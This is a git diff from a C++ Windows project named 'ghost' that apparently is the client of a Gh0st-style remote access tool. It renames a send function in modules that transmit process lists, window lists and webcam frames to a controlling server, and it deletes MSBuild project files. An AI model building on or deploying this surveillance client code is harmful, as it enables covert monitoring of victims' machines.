||||
@@ -39,7 +39,7 @@ VOID CSystemManager::SendProcessList()
|
||||
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
|
||||
szBuffer = NULL;
|
||||
@@ -51,7 +51,7 @@ void CSystemManager::SendWindowsList()
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
|
||||
@@ -27,7 +27,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
|
||||
g_Event = 0;
|
||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||
BYTE bToken = TOKEN_TALK_START;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
WaitForDialogOpen();
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
@@ -86,7 +86,7 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
{
|
||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
EndDialog(hDlg, LOWORD(wParam));
|
||||
return (INT_PTR)TRUE;
|
||||
}
|
||||
@@ -140,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
|
||||
{
|
||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
EndDialog(hDlg,0);
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -1,93 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||
<RootNamespace>TestRun</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource1.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="TestRun.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -1,32 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="test.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource1.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="TestRun.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -1,12 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||
<RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
|
||||
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
|
||||
<DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
|
||||
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
|
||||
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
4
client/TestRun_vs2015.vcxproj.user
Normal file
4
client/TestRun_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -103,7 +103,7 @@ void CVideoManager::SendBitMapInfor()
|
||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
|
||||
}
|
||||
|
||||
BOOL CVideoManager::SendNextScreen()
|
||||
@@ -149,7 +149,7 @@ BOOL CVideoManager::SendNextScreen()
|
||||
}
|
||||
m_CapVideo.SendEnd(); //copy send
|
||||
|
||||
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
|
||||
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -1,160 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ghost</ProjectName>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IntDir>$(Configuration)\ghost</IntDir>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IntDir>$(Configuration)\ghost</IntDir>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -1,182 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Audio.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="AudioManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Buffer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CaptureVideo.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ClientDll.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Common.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IOCPClient.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernelManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LoginServer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Manager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegisterManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegisterOperation.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ScreenManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ScreenSpy.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ServicesManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="StdAfx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SystemManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="TalkManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="VideoManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Audio.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="AudioManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Buffer.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CaptureVideo.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Common.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IOCPClient.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="KernelManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LoginServer.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Manager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegisterManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegisterOperation.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ScreenManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ScreenSpy.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ServicesManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ShellManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="StdAfx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="SystemManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="TalkManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="VideoCodec.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="VideoManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zconf.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zlib.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CursorInfo.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav">
|
||||
<Filter>资源文件</Filter>
|
||||
</Media>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="Res\msg.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -1,11 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>127.0.0.1 6543</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
